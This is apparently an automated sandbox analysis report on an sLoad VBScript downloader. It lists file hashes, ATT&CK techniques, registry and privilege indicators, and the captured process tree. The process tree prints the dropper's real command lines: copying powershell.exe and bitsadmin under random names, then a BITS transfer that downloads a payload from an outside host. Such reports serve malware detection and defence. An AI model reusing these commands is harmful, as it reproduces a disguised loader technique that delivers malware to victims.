sload | c10e0d734ba7fdb30bf8081eeb4758ab60d165552bb97d476a47de35dc0bc040

General

Target

Allegato_doc_02613440060.vbs
Size

8KB
MD5

6266da42dda2a91e97c63181b85b26d4
SHA1

2a0673cc7ea00b5187dac046b906aa1018317236
SHA256

12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b
SHA512

fed5ca3e0b5f2214d12c6e8e6d86b6f96589e4629a588bb91cb3df90e3f20c17bb0413f9cbc1683a64642a5b2aa1ddc3ce2a59bb674febe28676c5a5157913c6

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
1384	NXBtfaYin.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4300	svchost.exe
Token: SeCreatePagefilePrivilege	4300	svchost.exe
Token: SeShutdownPrivilege	4300	svchost.exe
Token: SeCreatePagefilePrivilege	4300	svchost.exe
Token: SeShutdownPrivilege	4300	svchost.exe
Token: SeCreatePagefilePrivilege	4300	svchost.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2712	2232	WScript.exe	82
PID 2232 wrote to memory of 2712	2232	WScript.exe	82
PID 2712 wrote to memory of 4460	2712	cmd.exe	84
PID 2712 wrote to memory of 4460	2712	cmd.exe	84
PID 2712 wrote to memory of 4780	2712	cmd.exe	85
PID 2712 wrote to memory of 4780	2712	cmd.exe	85
PID 2232 wrote to memory of 1384	2232	WScript.exe	86
PID 2232 wrote to memory of 1384	2232	WScript.exe	86
PID 2232 wrote to memory of 1384	2232	WScript.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe
    3⤵
    PID:4460
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
    3⤵
    PID:4780
- C:\ProgramData\NXBtfaYin.exe
  "C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png
  2⤵
  - Executes dropped EXE
  PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4300

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4300-132-0x000002EA2C220000-0x000002EA2C230000-memory.dmp

Filesize
64KB

Download
memory/4300-133-0x000002EA2C280000-0x000002EA2C290000-memory.dmp

Filesize
64KB

Download
memory/4300-134-0x000002EA2E950000-0x000002EA2E954000-memory.dmp

Filesize
16KB

Download

Analysis

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